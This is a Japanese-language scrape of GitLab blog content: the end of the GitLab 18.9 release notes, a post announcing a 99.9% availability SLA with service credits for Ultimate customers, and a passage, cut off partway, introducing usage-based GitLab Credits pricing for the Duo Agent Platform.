Ultimate\n\n完了したイニシアチブや放棄されたプロジェクトの管理が楽になりました。サブグループとプロジェクトを含むグループ全体を、ひとつの操作でアーカイブできるようになりました。プロジェクトを一つひとつ手動でアーカイブする必要はなくなります。\n\nグループをアーカイブすると、以下の動作が行われます。\n\n* 配下のサブグループとプロジェクトがすべて自動的にアーカイブされます。\n* アーカイブされたコンテンツは「非アクティブ」タブに移動し、ステータスバッジで明示されます。\n* グループのデータは参照または復元のために読み取り専用で引き続きアクセス可能です。\n* アーカイブされたグループとそのコンテンツ全体で書き込み権限が無効になります。\n\n**設定**ページからだけでなく、一覧ビューのアクションメニューからも直接グループやプロジェクトをアーカイブできます。複数の画面を移動する手間はありません。アクティブな作業と非アクティブな作業を明確に分離しながら管理オーバーヘッドを大幅に削減する、多くのユーザーから要望されていた機能です。[エピック18616](https://gitlab.com/groups/gitlab-org/-/epics/18616)でフィードバックをお寄せください。\n\n[ドキュメント](https://docs.gitlab.com/ja-jp/user/group/manage/#archive-a-group)\\\n[エピック](https://gitlab.com/groups/gitlab-org/-/epics/15019)\n\n![Tenant_Scale-Group_Archiving](https://about.gitlab.com/images/18_9/Tenant_Scale-Group_Archiving.png)\n\n### JetBrains IDEでSelf-ManagedおよびDedicatedへのOAuth認証に対応\n\n> Self-Managed: Premium、Ultimate、Duo Core、Duo Pro、Duo Enterprise\\\n> GitLab Dedicated: Ultimate、Duo Core、Duo Pro、Duo Enterprise\\\n> GitLab Dedicated for Government: Ultimate、Duo Core、Duo Pro、Duo Enterprise\n\nJetBrains IDE向けGitLab DuoプラグインがGitLab Self-ManagedおよびGitLab DedicatedへのOAuth認証に対応しました。すべてのJetBrainsユーザーが、より速く安全なサインイン体験を利用できるようになります。個人アクセストークンは不要です。\n\n[ドキュメント](https://docs.gitlab.com/ja-jp/editor_extensions/jetbrains_ide/setup/#authenticate-with-gitlab)\\\n[イシュー](https://gitlab.com/gitlab-org/editor-extensions/gitlab-jetbrains-plugin/-/issues/1337)\\\n[マージリクエスト](https://gitlab.com/gitlab-org/editor-extensions/gitlab-jetbrains-plugin/-/merge_requests/2287)\n\n### HelmチャートデプロイメントでZero Downtime Upgradesに対応\n\n> Self-Managed: Free、Premium、Ultimate\n\nGitLab HelmチャートデプロイメントでのZero Downtime Upgradesが正式にサポートされました。\n\nエンタープライズのお客様にとって、DevSecOpsプラットフォームの常時稼働は欠かせない要件であり、アップグレード時のダウンタイムは重大な運用上の懸念事項です。これまでZero Downtime UpgradesはLinuxパッケージベースの高可用性デプロイメントのみ対応しており、クラウドネイティブなKubernetesデプロイメントの方がインフラ戦略に適している場合でも、多くのお客様がVM型アーキテクチャを選択せざるを得ない状況でした。\n\nGitLabでは、自社のCloud Native HybridのSaaSインスタンスに対して、ダウンタイムなしでのアップグレードを長年実施してきました。今回のリリースで、Kubernetes上でGitLabを運用するSelf-Managedのお客様にも同様の運用体験を提供できるようになります。\n\nアップグレード手順は包括的なテストを経て、完全にドキュメント化されています。バージョンアップグレード中も稼働を維持できるという安心感とともにお使いいただけます。\n\n[ドキュメント](https://docs.gitlab.com/ja-jp/charts/installation/upgrade/#upgrade-with-zero-downtime)\\\n[エピック](https://gitlab.com/groups/gitlab-com/gl-infra/software-delivery/-/epics/16)\n\n### エンタープライズユーザーの個人スニペット作成を制限\n\n> GitLab.com: Premium、Ultimate\n\nGitLab.comを利用する組織が、エンタープライズユーザーによる個人スニペットへの機密コードの誤った公開を防げるようになりました。これまで、ユーザーが個人ネームスペースにスニペットを作成することを制限する手段がなく、スニペットが意図せずパブリックに設定されるとセキュリティリスクになる可能性がありました。\n\nグループオーナーがエンタープライズユーザーの個人スニペット作成を制限できるようになり、コードの共有先に対するより厳密な管理が可能になります。制限が有効な場合、エンタープライズユーザーは個人ネームスペースにスニペットを作成できません。\n\n[ドキュメント](https://docs.gitlab.com/ja-jp/user/group/manage/#restrict-personal-snippets-for-enterprise-users)\\\n[エピック](https://gitlab.com/groups/gitlab-org/-/epics/18298)\n\n![create-allow-personal-snippets-setting](https://about.gitlab.com/images/18_9/create-allow-personal-snippets-setting.png)\n\n[](https://gitlab.com/groups/gitlab-org/-/epics/18298)\n\n### CIジョブログへのタイムスタンプ追加\n\n> GitLab.com: Free、Premium、Ultimate\\\n> Self-Managed: Free、Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\nCIジョブログの各行にタイムスタンプが表示されるようになりました。パフォーマンスのボトルネックの特定や、長時間実行されているジョブのデバッグに役立ちます。タイムスタンプはUTC形式で表示されます。パフォーマンス問題のトラブルシューティング、ボトルネックの特定、特定のビルドステップの所要時間計測などにご活用ください。GitLab Self-ManagedではGitLab Runner 18.7以降が必要です。\n\n[ドキュメント](https://docs.gitlab.com/ja-jp/ci/jobs/job_logs/#timestamps)\\\n[イシュー](https://gitlab.com/gitlab-org/gitlab/-/issues/202293)\n\n![ci_job_log_timestamp](https://about.gitlab.com/images/18_9/ci_job_log_timestamp.png)\n\n### プロジェクトのCI/CDジョブメトリクスを表示（限定提供）\n\n> GitLab.com: Premium、Ultimate\\\n> Self-Managed: Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\n\nGitLab CI/CD analyticsでCI/CDパイプラインとCI/CDジョブのパフォーマンストレンドが統合されました。非効率または問題のあるCI/CDジョブを開発者が素早く特定できるようになります。これらの機能はGitLab UIに直接組み込まれており、開発チームの速度と全体的な生産性に大きく影響するCI/CDのパフォーマンス問題を、文脈を保ちながら特定・修正できます。プラットフォーム管理者にとっては、このビューのCI/CDジョブデータにより、エンタープライズ規模のGitLab運用時に外部またはカスタムのCI/CD監視ソリューションへの依存を減らすことができます。\n\n[ドキュメント](https://docs.gitlab.com/ja-jp/user/analytics/ci_cd_analytics/#cicd-job-performance-metrics)\\\n[エピック](https://gitlab.com/groups/gitlab-org/-/epics/18548)\n\n![ci_analytics_job_performance](https://about.gitlab.com/images/18_9/ci_analytics_job_performance.png)\n\n### SBOMを使用した依存関係スキャンでJava `pom.xml` マニフェストファイルに対応\n\n> GitLab.com: Ultimate\\\n> Self-Managed: Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\n[SBOMを使用したGitLabの依存関係スキャン](https://docs.gitlab.com/ja-jp/user/application_security/dependency_scanning/dependency_scanning_sbom/)が、JavaのMavenプロジェクト向けに`pom.xml`マニフェストファイルのスキャンに対応しました。これまでMavenを使用するJavaプロジェクトの依存関係スキャンにはグラフファイルが必要でしたが、グラフファイルが存在しない場合、アナライザーが自動的に`pom.xml`ファイルへのフォールバックを行い、直接依存関係のみを抽出して脆弱性分析の対象とするようになりました。グラフファイルなしでも依存関係スキャンを有効化しやすくなります。\n\nマニフェストへのフォールバックを有効にするには、CI/CD変数`DS_ENABLE_MANIFEST_FALLBACK`を`\"true\"`に設定してください。\n\n[ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/dependency_scanning/dependency_scanning_sbom/#manifest-fallback)\\\n[イシュー](https://gitlab.com/gitlab-org/gitlab/-/issues/585886)\n\n### セキュリティガバナンスと設定の一元化\n\n> GitLab.com: Ultimate\\\n> Self-Managed: Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\n組織全体のセキュリティスキャナーのカバレッジを管理・可視化できるようになりました。今回のリリースでは、シークレット検出プロファイルを皮切りに、セキュリティ設定プロファイルが導入されます。セキュリティチームが組織全体を大規模にセキュアにするための、より強力なコマンドセンターが提供されます。\n\n**プロファイルベースのセキュリティ設定**\n\n各プロジェクトのYAMLファイルを手動で編集する代わりに、事前設定済みのセキュリティ設定プロファイルを活用できます。主なメリットは以下のとおりです。\n\n* **標準化されたガバナンス**：事前設定済みのプロファイルが、業務を妨げることなく適切な境界を設けます。カスタムロール設定を必要とせず、セキュリティのベストプラクティスを標準化して適用できます。\n* **スケーラブルな管理**：ひとつの操作で、数百から数千のプロジェクトに同じプロファイルを適用できます。\n\nシークレット検出プロファイルは、最初に提供されるセキュリティ設定プロファイルです。以下のメリットがあります。\n\n* リポジトリへのシークレットのコミットを積極的に検知し、ブロックします。\n* 開発ワークフロー全体にわたるシークレット検出を、1つのプロファイルで管理できます。トリガータイプごとに個別の設定を管理する必要はありません。\n\n**強化されたセキュリティインベントリ**\n\nセキュリティインベントリが、各グループのセキュリティポスチャを評価するための主要なダッシュボードとして強化されました。\n\n* **グループとプロジェクトの階層表示**：明確なアイコンでサブグループとプロジェクトを区別して表示できます。\n* **一括アクション**：新しい一括アクションメニューにより、選択したすべてのプロジェクトとサブグループに対してセキュリティスキャナープロファイルの適用や無効化を一括で行えます。\n* **カバレッジステータスの可視化**：色分けされたステータスバー（有効、無効、失敗）とツールチップで、カバレッジのギャップをすぐに把握できます。\n* **プロファイルステータスのインジケーター**：プロファイルの詳細で利用可能なトリガータイプを確認できます。\n\n[ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/configuration/security_configuration_profiles)\\\n[エピック](https://gitlab.com/groups/gitlab-org/-/epics/16204)\n\n### セキュリティダッシュボード：「時間経過による脆弱性の推移」チャートの改善\n\n> GitLab.com: Free、Premium、Ultimate\\\n> Self-Managed: Free、Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\\\n> GitLab Dedicated for Government: Ultimate\n\n「時間経過による脆弱性の推移」チャートが更新され、脆弱性インベントリのより正確な状況を把握できるようになりました。\n\n以前のチャートには検出されなくなった脆弱性も含まれており、アクティブな脆弱性の実態を正確に反映していない数値が表示されることがありました。\n\n一部のケースで件数にわずかな変動が生じる可能性がある2件の追加問題も把握しています。最新情報は[イシュー590022](https://gitlab.com/gitlab-org/gitlab/-/issues/590022)および[590018](https://gitlab.com/gitlab-org/gitlab/-/issues/590018)をご確認ください。\n\n[ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/security_dashboard/#vulnerabilities-over-time)\\\n[エピック](https://gitlab.com/groups/gitlab-org/-/work_items/19780)\n\n### Minimal Accessユーザーの課金対象外化\n\n> Self-Managed: Premium\n\n以前は、GitLab Self-Managed PremiumでIDプロバイダーを使ってユーザーのプロビジョニングを自動化している組織で、問題が発生する可能性がありました。ライセンスのシート上限を超えてユーザーを追加しようとすると、管理者はアクティブなアクセスを必要としないユーザーのために追加シートを購入するか、手動で対処してエラーを防ぐかを選択しなければなりませんでした。\n\nGitLab Self-Managed PremiumサブスクリプションでMinimal Accessロールのユーザーが課金対象のシートとしてカウントされなくなりました。GitLab.com Premium、GitLab.com Ultimate、GitLab Self-Managed UltimateにおけるMinimal Accessの扱いに統一されます。この変更により[制限アクセス](https://docs.gitlab.com/ja-jp/administration/settings/sign_up_restrictions/#restricted-access)機能が有効になります。この機能は、IDプロバイダーの同期時にシート上限を超えるユーザーに自動的にMinimal Accessロールを割り当てます。予期しない追加課金や手動対応なしに、同期がスムーズに継続されるようになります。\n\n[ドキュメント](https://docs.gitlab.com/ja-jp/user/permissions/#users-with-minimal-access)\\\n[イシュー](https://gitlab.com/gitlab-org/gitlab/-/issues/584275)\n\n### プライマリサイトのGeoデータ管理ビュー\n\n> Self-Managed: Premium、Ultimate\\\n> GitLab Dedicated: Ultimate\n\n新しいデータ管理ビューにより、詳細な検証ステータス情報がプライマリGeoサイトで確認できるようになりました。プライマリサイトから直接、データの整合性のトラブルシューティングと検証が可能になり、基本的な検証やトラブルシューティング作業のためにセカンダリサイトにアクセスする必要がなくなります。\n\n以前は、この検証ステータスはセカンダリサイトのUIからのみ確認できました。プライマリサイトのデータ管理ビューでは、以下のことができます。\n\n* プライマリサイトから、すべてのレプリカブルデータタイプの詳細な検証ステータスを確認できます。\n* プライマリUIから直接、データのサニタイズとトラブルシューティング作業を実行できます。\n* セカンダリサイトを追加する前に、プライマリサイトでGeoの設定を確認・検証できます。\n\nこの機能強化は、UIによるセルフサービス型トラブルシューティングの実現に向けた第一歩です。定期的なメンテナンスや問題解決のために複数サイトにアクセスする必要が減っていきます。\n\n[ドキュメント](https://docs.gitlab.com/ja-jp/administration/admin_area/#data-management)\\\n[エピック](https://gitlab.com/groups/gitlab-org/-/epics/16554)\n\n![geo_new_data_management_view](https://about.gitlab.com/images/18_9/geo_new_data_management_view.png)\n\n### RedisのオプションとしてValkey（ベータ版）\n\n> Self-Managed: Free、Premium、Ultimate\n\nGitLab 18.9から、LinuxパッケージにRedisのオプション置き換えとしてValkeyがバンドルされます。RedisはAGPLv3にライセンスを変更しましたが、オープンソース利用者には適していません。GitLab Self-Managedのお客様のセキュリティと保守性を確保するため、GitLabはBSDライセンスを維持するコミュニティ主導のフォーク版であるValkeyへの移行を進めています。\n\n**移行スケジュール：**\n\n* **GitLab 18.9（今回のリリース）**：ValkeyはオプトインのRedis代替として（ベータ版）バンドルされます。お客様の都合の良いタイミングでRedisからValkeyに切り替えられます。Valkey Sentinelのサポートも含まれます。\n* **GitLab 19.0（2026年5月）**：Valkeyがデフォルトになり、LinuxパッケージからRedisのバイナリが削除されます。既存のRedis設定は引き続き機能し、後方互換性のために適用されます。\n\nこの移行は、Linuxパッケージにバンドルされているモデルにのみ影響します。外部Redisデプロイメントを使用しているスケールアーキテクチャのお客様は、引き続きRedisをご利用いただけます。RedisとValkeyの機能差異については今後も注視し、エコシステムの進化に合わせてガイダンスを提供していきます。\n\n[ドキュメント](https://docs.gitlab.com/ja-jp/administration/redis/#use-valkey-instead-of-redis)\\\n[エピック](https://gitlab.com/groups/gitlab-com/gl-infra/software-delivery/operate/-/epics/6)\n\n### バグ修正、パフォーマンス改善、UIの改善\n\nGitLabでは、ユーザーの皆さまに最高の体験をお届けするため、すべてのリリースでバグの修正、パフォーマンスの改善、UIの向上に取り組んでいます。GitLab.comの100万人を超えるユーザーも、その他のプラットフォームをご利用のユーザーも、快適にお使いいただけるよう努めています。\n\n18.9でお届けしたバグ修正、パフォーマンス改善、UI改善の詳細は、以下のリンクからご確認ください。\n\n* [バグ修正](https://gitlab.com/groups/gitlab-org/-/issues/?sort=updated_desc&state=closed&label_name%5B%5D=type%3A%3Abug&or%5Blabel_name%5D%5B%5D=workflow%3A%3Acomplete&or%5Blabel_name%5D%5B%5D=workflow%3A%3Averification&or%5Blabel_name%5D%5B%5D=workflow%3A%3Aproduction&milestone_title=18.9)\n* [パフォーマンス改善](https://gitlab.com/groups/gitlab-org/-/issues/?sort=updated_desc&state=closed&label_name%5B%5D=bug%3A%3Aperformance&or%5Blabel_name%5D%5B%5D=workflow%3A%3Acomplete&or%5Blabel_name%5D%5B%5D=workflow%3A%3Averification&or%5Blabel_name%5D%5B%5D=workflow%3A%3Aproduction&milestone_title=18.9)\n* [UIの改善](https://papercuts.gitlab.com/?milestone=18.9)\n\n### 非推奨\n\n新規の非推奨事項と現在非推奨となっているすべての機能の一覧は、GitLabのドキュメントをご覧ください。今後の破壊的な変更の通知を受け取るには、[破壊的な変更のRSSフィードにサブスクライブ](https://about.gitlab.com/breaking-changes.xml)してください。\n\n### 削除された機能と破壊的な変更\n\n削除されたすべての機能の一覧は、[GitLabドキュメント](https://docs.gitlab.com/ja-jp/update/deprecations/)をご覧ください。今後の破壊的な変更の通知を受け取るには、[破壊的な変更のRSSフィードにサブスクライブ](https://about.gitlab.com/breaking-changes.xml)してください。\n\n* [Ubuntu 20.04向けLinuxパッケージ](https://docs.gitlab.com/ee/update/deprecations.html#linux-packages-for-ubuntu-2004)\n\n### GitLab 18.9へのアップグレードに関する重要事項\n\nGitLabは[Ruby 3.3](https://www.ruby-lang.org/en/news/2023/12/25/ruby-3-3-0-released/)を使用するようにアップグレードされました。このアップグレードには、ヒープフラグメンテーションの削減やメジャーガベージコレクションの所要時間短縮など、RubyのGCに関する改善が含まれています。\n\n[ソースからコンパイルしてインストールしている場合](https://docs.gitlab.com/ja-jp/install/self_compiled/)、GitLab 18.9以降へのアップグレード時に管理者はRuby 3.3.x以降を用意しておく必要があります。Ruby 3.2は2026年3月31日にサポートが終了し、以降は公式のアップデートとサポートが提供されなくなるため、この変更が必要です。\n\n### 変更履歴\n\n変更内容をすべて表示するには、次のページから変更履歴を確認してください。\n\n* [GitLab](https://gitlab.com/gitlab-org/gitlab-foss/blob/master/CHANGELOG.md)\n* [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner/blob/main/CHANGELOG.md)\n* [GitLab Workflow for VS Code](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/blob/main/CHANGELOG.md)\n* [GitLab CLI](https://gitlab.com/gitlab-org/cli/-/releases)\n\n### インストール\n\nGitLabを新規にインストールする場合は、[GitLabのダウンロードページ](https://about.gitlab.com/install/)をご覧ください。\n\n### 更新事項\n\n[更新ページ](https://about.gitlab.com/update/)をご覧ください。\n\n### ご不明な点がある場合\n\nご質問やご意見をお聞かせください。本リリースについてご不明な点がある場合は、[GitLabフォーラム](https://forum.gitlab.com/)にアクセスして質問を投稿してください。\n\n### GitLabサブスクリプションプラン\n\n* [Free](https://about.gitlab.com/pricing/)\n  ユーザー向けの永久無料機能を提供\n* [Premium](https://about.gitlab.com/pricing/premium/)\n  チームの生産性と調整を強化\n* [Ultimate](https://about.gitlab.com/pricing/ultimate/)\n   組織全体のセキュリティ、コンプライアンス、プランニングに対応\n  GitLabのすべての機能を[無料](https://about.gitlab.com/free-trial/?hosted=saas)でお試しいただけます。\n\n*\\--------------------*\n\n*監修：ソリス ジェレズ / Jerez Solis [@jerezs](https://gitlab.com/jerezs) （GitLab合同会社 ソリューションアーキテクト本部 ソリューションアーキテクト）*\n\n### 過去の日本語リリース情報\n\n* [GitLab 18.8](https://about.gitlab.com/ja-jp/blog/gitlab-18-08-release/)\n* [GitLab 18.7](https://about.gitlab.com/ja-jp/blog/gitlab-18-07-release/)\n* [GitLab 18.6](https://about.gitlab.com/ja-jp/blog/gitlab-18-06-release/)\n* [GitLab 18.5](https://about.gitlab.com/ja-jp/blog/gitlab-18-05-release/)\n* [GitLab 18.4](https://about.gitlab.com/ja-jp/blog/gitlab-18-04-release)\n* [GitLab 18.3](https://about.gitlab.com/ja-jp/blog/gitlab-18-03-release)\n* [GitLab 18.2](https://about.gitlab.com/ja-jp/blog/gitlab-18-02-release/)\n* [GitLab 18.1](https://about.gitlab.com/ja-jp/blog/gitlab-18-01-release/)\n* [GitLab 18.0](https://about.gitlab.com/ja-jp/blog/gitlab-18-0-release/)\n* [GitLab 17.11](https://about.gitlab.com/ja-jp/blog/gitlab-17-11-release/)\n* [GitLab 17.10](https://about.gitlab.com/ja-jp/blog/gitlab-17-10-release/)\n* [GitLab 17.9](https://about.gitlab.com/ja-jp/blog/gitlab-17-9-release/)\n* [GitLab 17.8](https://about.gitlab.com/ja-jp/blog/gitlab-17-8-release/)\n* [GitLab 17.7](https://about.gitlab.com/ja-jp/blog/gitlab-17-7-release/)\n* [GitLab 17.6](https://about.gitlab.com/ja-jp/blog/gitlab-17-6-release/)\n* [GitLab 17.5](https://about.gitlab.com/ja-jp/blog/gitlab-17-5-released/)\n* [GitLab 17.4](https://about.gitlab.com/ja-jp/blog/gitlab-17-4-released/)\n* [GitLab 17.3](https://about.gitlab.com/ja-jp/blog/gitlab-17-3-released/)\n* [GitLab 17.2](https://about.gitlab.com/ja-jp/blog/gitlab-17-2-released/)\n* [GitLab 17.1](https://about.gitlab.com/ja-jp/blog/gitlab-17-1-released/)\n* [GitLab 16.11](https://about.gitlab.com/ja-jp/blog/gitlab-16-11-released/)",[894],"2026-02-20","GitLab 18.9リリース",[1016,777,746,88],"GitLab 18.9でリリースした最新機能を公開します。",{"featured":13,"template":784,"slug":1096},"gitlab-18-09-release",{"content":1098,"config":1107},{"title":1099,"description":1100,"authors":1101,"date":1103,"body":1104,"heroImage":1105,"category":746,"tags":1106},"GitLabが99.9%の可用性をサービスクレジットで保証（Ultimateのお客様向け）","Ultimateのお客様には、ミッションクリティカルなDevSecOpsワークフローの信頼性を確保するため、プラットフォームの可用性が99.9%を下回った場合にサービスクレジットが付与されます。",[781,1102],"Lyle Kozloff","2026-02-18","GitLabは、GitLab.comおよびGitLab DedicatedのUltimateのお客様に対し、99.9%の可用性をサービスクレジットで保証します。月間の可用性がこの基準を下回った場合、対象のお客様にはクレジットが付与されます（付与されたクレジットは次回以降の請求書に反映）。このコミットメントにより、DevSecOpsワークフローに必要な信頼性が確保されます。\n\n## 重要なのはお客様の信頼\n\n高速なペースで進む昨今のソフトウェアデリバリーでは、チームが一日中、コードのプッシュ、マージリクエストの作成、課題の継続的な追跡に明け暮れています。分散したさまざまなチームで実行されるpush、pull、cloneのGitオペレーションの回数は、1時間あたり何千回にも上ります。このため、これらのコア機能がいずれかでも利用できなくなれば、ソフトウェアデリバリーのワークフロー全体が停止してしまいます。\n\n99.9%可用性のサービスレベルアグリーメント（SLA）は、加速する開発ペースがインフラの壁に阻まれることがないよう保証します。サービスクレジットはGitLabのアカウンタビリティの証であり、プラットフォームの信頼性はGitLabの成功につながります。つまり、お客様にとってのメリットはGitLabにとってもメリットとなります。GitLabは、可用性の目標達成にとどまらず、お客様のビジネス成果に対しても責任を担っています。\n\nGitLabのSLAコミットメントは、DevSecOpsワークフローに不可欠なコアプラットフォームサービスをカバーしています。\n\nローンチ時点で対象となるエクスペリエンスは以下のとおりです。\n\n\\* イシューおよびマージリクエスト  \n\\* Gitオペレーション（HTTPSおよびSSH経由のpush、pull、clone）  \n\\* コンテナレジストリのオペレーション  \n\\* パッケージレジストリのオペレーション  \n\\* APIリクエスト（上記に限定）\n\n対象となるエクスペリエンスおよび対象外のエクスペリエンスの最新情報は、[GitLabハンドブック](https://handbook.gitlab.com/handbook/engineering/infrastructure-platforms/service-level-agreement/#covered-experiences)でご確認いただけます。\n\nサービスの可用性は、複数のジオロケーションにおける自動モニタリングを使用して計測され、お客様が実際に経験するサービス可用性を正確に反映します。可用性が99.9%を下回った場合、お客様は不足による影響の深刻度に応じたクレジットを申請できます。\n\n## ダウンタイム分（Downtime Minute）について\n\n特定の1分間において、対象エクスペリエンスに対するお客様の有効なリクエストの5%以上に、サーバーエラーにつながる可用性の低下が発生した場合、これを[ダウンタイム分](https://handbook.gitlab.com/handbook/engineering/infrastructure-platforms/service-level-agreement/#downtime-minute-definition)と呼びます。サーバーエラーは、GitLabの内部および外部モニタリングシステムがHTTP 5xxステータスコード、または30秒を超える接続タイムアウトと判断したエラーと定義されています。\n\nSLAはサーバー側の障害を計測しますが、5xxエラーをトリガーしない問題もあります。たとえば、機能を使用不能にするアプリケーションバグ、Sidekiqジョブ処理の停止、リクエストが完全に失敗していないにもかかわらずパフォーマンスを低下させるインフラの問題などが該当します。\n\nサービスクレジットを申請する手順は以下のとおりです。\n\n1. 影響を受けた月の末日から30日以内に、support.gitlab.comまでサポートリクエストを送信し、ダウンタイムクレジットを申請してください。\n\n2. GitLabチームが申請内容を確認し、ダウンタイムを検証したうえで、該当する場合はクレジット付与の手続きを行います。\n\n3. サービスクレジットは、次回発行される請求書に反映されます。\n\n月間アップタイム可用性の計算方法、適用されるサービスクレジット、およびクレジット申請手順の詳細については、[ハンドブック](https://handbook.gitlab.com/handbook/engineering/infrastructure-platforms/service-level-agreement/#calculating-monthly-uptime-percentage)をご覧ください。\n\n当社のモニタリングはサービス障害の大部分を把握できるよう設計されていますが、報告された可用性とお客様の実際の体験に齟齬がある場合は、サービスクレジットの申請をお勧めします。GitLabは、自動モニタリングに反映されない可能性のある問題の調査を含め、申請内容を総合的に審査します。\n\n## 安心の信頼性\n\nサービスクレジット付与つきの99.9%可用性SLAは、ソフトウェアデリバリーワークフローの信頼できる基盤であり続けるためのGitLabのコミットメントの証です。チームがGitLabを利用してリリースを続けられる限り、GitLabは皆様を全力でサポートします。\n\nSLAについてご不明な点がある場合は、GitLabのアカウントチームにお問い合わせいただくか、[GitLabサポート](http://support.GitLab.com)からリクエストをご送信ください。","https://res.cloudinary.com/about-gitlab-com/image/upload/v1758812952/yxhgljkwljld0lyizmaz.png",[900,746,696],{"featured":13,"template":784,"slug":1108},"gitlab-backs-99-9-availability-with-service-credits-for-ultimate-customers",{"content":1110,"config":1118},{"title":1111,"description":1112,"authors":1113,"heroImage":1115,"date":844,"body":1116,"category":746,"tags":1117},"GitLab Duo Agent Platform向けの使用量ベースの価格設定、GitLabクレジットのご紹介","GitLabクレジットが、エンタープライズソフトウェア開発ライフサイクルにおけるエージェント型AIのコスト削減と柔軟性向上にどのように貢献するかをご説明します。\n",[1114],"Manav Khurana","https://res.cloudinary.com/about-gitlab-com/image/upload/v1768314648/gvy4pfqjaeahkoagsjmr.png","GitLabクレジットは、エージェント型AIにおけるシート単位の価格設定が適していないという課題から生まれました。\n\nシート単位の価格設定では、エンジニアリングチームにAIを「利用できる人」と「利用できない人」を生み出してしまい、ソフトウェア開発ライフサイクル全体でエージェント型AIを活用するという本来のあり方と根本的に矛盾しています。現在のモデルでは、個人がAIを使い始める前に、その人のためのシートを購入する必要があります。これは、ヘビーユーザーにとっては機能しますが、軽度または不定期に使用する大多数のチームメンバーにとっては、コストが高すぎて不公平です。そのため、多くの組織では、チームの一部のメンバーだけが「AIシート」を持つことになります。\n\nさらに、[GitLab Duo Agent Platform](https://about.gitlab.com/blog/gitlab-duo-agent-platform-is-generally-available/)は、Duo Pro、Duo Enterprise、その他市場に出回っているAIデベロッパーツールとは異なります。エージェントやエージェント型ワークフローは、チームがAIサポートを必要とするときに呼び出すことができ、バックグラウンドで実行されているSDLCイベントによってトリガーされます。Duo Agent Platformにより、エージェント型AIはもはやユーザーシートにのみ紐付けられるものではなくなりました。\n\nGitLabクレジットは、GitLab Duo Agent Platformから始まる使用量ベースの価格設定のための新しい仮想通貨として、これらの課題に対応します。これにより、GitLabアカウント(PremiumまたはUltimate)を持つ組織内のすべてのメンバーが、AIシートの料金を支払うことなく、自分で呼び出す場合もバックグラウンドエージェントとして設定する場合も、エージェント型AI機能を利用できるようになります。\n\n## GitLabクレジットの仕組み\n\nGitLabクレジットは、組織全体でプールされます。GitLab Duo Agent Platformの使用量は、GitLabクレジットから引き落とされます。これには、エージェントとエージェント型フローの同期および非同期使用の両方が含まれます。具体的には次のとおりです:\n\n* セキュリティ分析エージェント、プランナーエージェント、データ分析エージェントなどの[基本エージェント](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/agents/foundational_agents/)\n\n* コードレビューフロー、デベロッパーフロー、CI/CD修復フローなどの[基本フロー](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/flows/foundational_flows/)\n\n* Anthropic Claude CodeやOpenAI Codexなどの[外部エージェント](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/agents/external/)\n\n* [GitLab AIカタログ](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/ai_catalog/)で構築および公開するカスタムエージェントとフロー\n\n* GitLab UIおよびデベロッパーが使用するIDEでの[エージェント型チャット](https://docs.gitlab.com/ja-jp/user/gitlab_duo_chat/agentic_chat/)\n\n**注:** 外部エージェントは18.8で無料で試すことができ、GitLabクレジットを消費しません。来月の18.9リリースで価格設定を導入する予定です。カスタムフローは現在ベータ版であり、GitLabクレジットを消費しません。\n\n引き落とされるクレジット量は、大規模言語モデルによるエージェント型リクエストの数に基づいています([詳細はこちら](https://docs.gitlab.com/ja-jp/subscriptions/gitlab_credits/#models))。より多くのLLMが利用可能になるにつれて、GitLab Duo Agent Platformでの使用に対して認定し、このリストに追加していきます。これにより、お客様は消費方法を透明に確認できます。\n\nGitLabクレジットの総数は、実際の使用量に基づいて月末に計算されます。このモデルでは、パワーユーザーの使用量とライトユーザーの使用量が自動的に相殺されるため、各個人のAI総コストを効果的に削減できます(各個人にシート料金を支払う場合と比較して)。\n\n簡潔にするために、各GitLabクレジットの**オンデマンド**定価は1ドルです。GitLab Duo Agent Platformをコミットメントなしで使用でき、使用量は毎月(各月末に)請求されます。**年間契約**にサインアップするエンタープライズのお客様には、月間クレジットの数量割引を提供します。\n\n期間限定プロモーション[*](#notes)として、PremiumおよびUltimateのアクティブなサブスクリプションをお持ちのすべてのGitLabのお客様には、それぞれ**ユーザーあたり月額12ドルと24ドルの含まれるクレジット**が自動的に付与されます。これらのクレジットは、プロモーション期間が終了するまで毎月更新され、追加費用なしでGitLab Duo Agent Platformのすべての機能にアクセスできます。請求条件に同意すると、含まれるクレジットを超える使用量は、コミット済みの月間クレジットまたはオンデマンドクレジットで請求されます。\n\n## GitLabクレジットによるコストガバナンス\n\n**GitLabクレジットのサイジング:** アカウントチームは、GitLab Duo Agent PlatformのGA(一般提供)の一環として、毎月必要なGitLabクレジット数を見積もるサイジング計算ツールを用意しています。この計算ツールは、ベータ期間中に観察された使用パターンで構築されています。さらに、既存または新規のお客様として、実際の使用量の見積もりを確認するために無料トライアルをリクエストできます。\n\n**使用状況の可視性:** 18.8リリースでは、2つの補完的なダッシュボードを通じて詳細な使用状況情報を提供します。1つは財務監視に重点を置く請求管理者向けのGitLab顧客ポータル内のダッシュボード、もう1つは運用監視に重点を置く管理者向けの製品内ダッシュボードです。どちらも使用状況の帰属、コスト内訳、履歴トレンドを提供するため、クレジットの消費状況を常に正確に把握できます。社内でクロスチャージングを行っている場合は、プロジェクトレベルおよびグループレベルのロールアップを使用してコスト配分を行うことができます。\n\n**使用制限:** 特定のチームまたはプロジェクトに対してGitLab Duo Agent Platformへのアクセスを有効または無効にできるため、承認された使用のみがクレジットに計上されます。また、GA直後にユーザーレベルの制限を追加し、GitLab Duo Agent Platform機能を使用してクレジットを引き落とせるユーザーを管理できるようにする予定です。\n\n**自動使用通知:** コミット済みの月間クレジットの50%、80%、100%に達したときに、電子メールアラートでGitLabクレジットの使用状況を積極的にお知らせします。これにより、使用量の調整、コミットメントの追加購入、オンデマンド請求への準備を行う時間を確保できます。\n\n## シート単位のGitLab Duo Pro/EnterpriseからDuo Agent 